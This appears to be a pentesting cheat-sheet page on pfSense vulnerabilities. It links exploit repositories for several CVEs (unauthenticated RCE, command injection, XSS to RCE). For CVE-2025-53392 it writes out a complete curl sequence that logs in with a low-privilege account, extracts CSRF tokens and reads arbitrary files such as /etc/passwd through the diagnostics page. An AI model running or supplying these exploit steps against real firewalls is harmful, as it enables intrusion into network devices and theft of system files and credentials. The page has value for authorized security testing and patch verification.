# pfSense

[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA)

## CVE-2022-31814 - Unauth RCE

pfBlockerNG <= 2.1.4\_26 Unauth RCE

{% embed url="<https://laburity.com/exploiting-pfsense-remote-code-execution-cve-2022-31814/>" %}

{% embed url="<https://github.com/Chocapikk/CVE-2022-31814>" %}

## CVE-2025-53392 - Arbitrary File Read

pfSense 2.8.0 via Diagnostics Web Interface

{% embed url="<https://github.com/skraft9/pfsense-security-research?s=03>" %}

```bash
# 1. Start session and extract CSRF token
$ curl -k -c cookies.txt -s https://<IP>/diag_command.php > login_page.html
$ csrf_token=$(grep '__csrf_magic' login_page.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')

# 2. Authenticate as low-privileged user "dev"
$ curl -k -b cookies.txt -c cookies.txt \
  -d "__csrf_magic=$csrf_token" \
  -d "usernamefld=dev" \
  -d "passwordfld=pass" \
  -d "login=Sign+In" \
  https://<IP>/index.php > /dev/null

# 3. Get CSRF token post-login
$ curl -k -b cookies.txt -s https://<IP>/diag_command.php > diag_authed.html
$ csrf_token=$(grep '__csrf_magic' diag_authed.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')

# 4. Exfiltrate arbitrary file (example: /etc/passwd)
$ curl -k -b cookies.txt -s -X POST https://<IP>/diag_command.php \
  -d "__csrf_magic=$csrf_token" \
  -d "submit=DOWNLOAD" \
  -d "dlPath=/etc/passwd"
```

## CVE-2023-42326 - PfSense 2.7.0 Command Injection Exploit&#x20;

{% embed url="<https://github.com/bl4ckarch/pf-pwnme>" %}

## CVE-2024-46538 PfSense Stored XSS lead to RCE

{% embed url="<https://github.com/EQSTLab/CVE-2024-46538?s=03>" %}
